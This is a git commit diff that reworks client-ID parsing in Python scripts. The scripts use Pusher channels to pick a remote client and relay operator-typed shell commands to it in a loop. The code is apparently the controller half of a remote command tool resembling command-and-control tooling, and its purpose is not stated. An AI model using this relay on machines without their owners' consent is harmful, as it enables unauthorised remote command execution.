reworked ids system
This commit is contained in:
@@ -18,9 +18,9 @@ def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||
client_id = input("Enter id to connect: ")
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
|
||||
|
||||
@@ -22,9 +22,9 @@ def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||
client_id = input("Enter id to connect: ")
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
log_channel = receiver.subscribe('client-' + str(client_id))
|
||||
|
||||
@@ -3,7 +3,6 @@ import pusher
|
||||
import pysher
|
||||
import sys
|
||||
|
||||
|
||||
client = pusher.Pusher(
|
||||
app_id=app_id,
|
||||
key=key,
|
||||
@@ -17,14 +16,16 @@ receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||
def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
ids = dict()
|
||||
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||
client_id = input("Enter id to connect: ")
|
||||
client.trigger('admin-' + client_id, 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
while True:
|
||||
client.trigger('admin-' + str(client_id), 'command', input("Enter shell command: "))
|
||||
client.trigger('admin-' + client_id, 'command', input("Enter shell command: "))
|
||||
print("Sent shell command to client")
|
||||
|
||||
|
||||
|
||||
@@ -18,9 +18,9 @@ def handle_connection_to_server(connection):
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
print("Available client IDs: " +
|
||||
str(list(client.channels_info(prefix_filter='admin-')['channels']))
|
||||
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
|
||||
client_id = int(input("Enter id to connect: "))
|
||||
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
|
||||
list(client.channels_info(prefix_filter='admin-')['channels']))))))
|
||||
client_id = input("Enter id to connect: ")
|
||||
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
|
||||
print("Sent connection message to client")
|
||||
while True:
|
||||
|
||||
@@ -115,7 +115,7 @@ def handle_connection_to_server(connection) -> None:
|
||||
print("Connected to server")
|
||||
print("Server returned: " + str(connection))
|
||||
for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']):
|
||||
print("Channel: " + client_id_av)
|
||||
print("Channel: " + client_id_av.split('-')[1])
|
||||
|
||||
|
||||
# Trying to connect to pusher
|
||||
|
||||
Reference in New Issue
Block a user